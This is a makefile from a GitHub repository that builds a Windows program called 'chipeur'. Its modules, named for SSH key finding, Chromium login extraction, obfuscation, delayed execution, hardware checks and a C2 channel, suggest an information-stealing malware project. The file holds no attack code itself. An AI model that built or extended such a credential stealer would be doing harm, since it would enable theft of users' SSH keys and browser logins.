-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmakefile
More file actions
73 lines (53 loc) · 2.53 KB
/
makefile
File metadata and controls
73 lines (53 loc) · 2.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#Directories used
SRC_DIR = src/
INCLUDE_DIR = include/
OBJ_DIR = obj/
# add the object file used here
OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)hardware_requirements.o $(OBJ_DIR)delay_execution.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o $(OBJ_DIR)c2.o
CC=x86_64-w64-mingw32-gcc
CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \
-Wpointer-arith -Wcast-qual -Wcast-align=strict -I$(INCLUDE_DIR)
#not needed for now
LDFLAGS =# -Wl,--strip-all
LLIB= -luuid -lole32 -lws2_32
DEBUG=-DDEBUG
.PHONY : all help clean
all: chipeur.exe
#The following syntax to create object file:
#$(OBJ_DIR) file1.o : $(SRC_DIR) file1.c $(INCLUDE_DIR)\
hdr_used1.h... $(INCLUDE_DIR)hdr_usedn.h
#$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
#Create the object files
$(OBJ_DIR)chipeur.o: $(SRC_DIR)chipeur.c $(INCLUDE_DIR)chipeur.h $(INCLUDE_DIR)find_ssh_key.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)c2.o: $(SRC_DIR)c2.c $(INCLUDE_DIR)c2.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)find_ssh_key.o : $(SRC_DIR)find_ssh_key.c $(INCLUDE_DIR)find_ssh_key.h $(INCLUDE_DIR)extract_file.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)extract_file.o: $(SRC_DIR)extract_file.c $(INCLUDE_DIR)extract_file.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)obfuscation.o: $(SRC_DIR)obfuscation.c $(INCLUDE_DIR)obfuscation.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)chromium.o : $(SRC_DIR)chromium.c $(INCLUDE_DIR)chromium.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)path.o : $(SRC_DIR)path.c $(INCLUDE_DIR)path.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)logins.o : $(SRC_DIR)logins.c $(INCLUDE_DIR)logins.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)delay_execution.o : $(SRC_DIR)delay_execution.c $(INCLUDE_DIR)delay_execution.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)hardware_requirements.o : $(SRC_DIR)hardware_requirements.c $(INCLUDE_DIR)hardware_requirements.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)sqlite3.o : $(SRC_DIR)sqlite3.c $(INCLUDE_DIR)sqlite3.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
$(OBJ_DIR)aes.o : $(SRC_DIR)aes.c $(INCLUDE_DIR)aes.h
$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@
#make the binary
chipeur.exe: $(OBJ_FILES)
$(CC) $(CFLAGS) $(LDFLAGS) $^ -o $@ $(LLIB)
clean:
rm -fv $(OBJ_DIR)* chipeur.exe chipeur
help:
@echo "chipeur:\tto create the binary of the project"
@echo "clean:\tto remove the binary and .o files"
@echo "help:\tto display this help"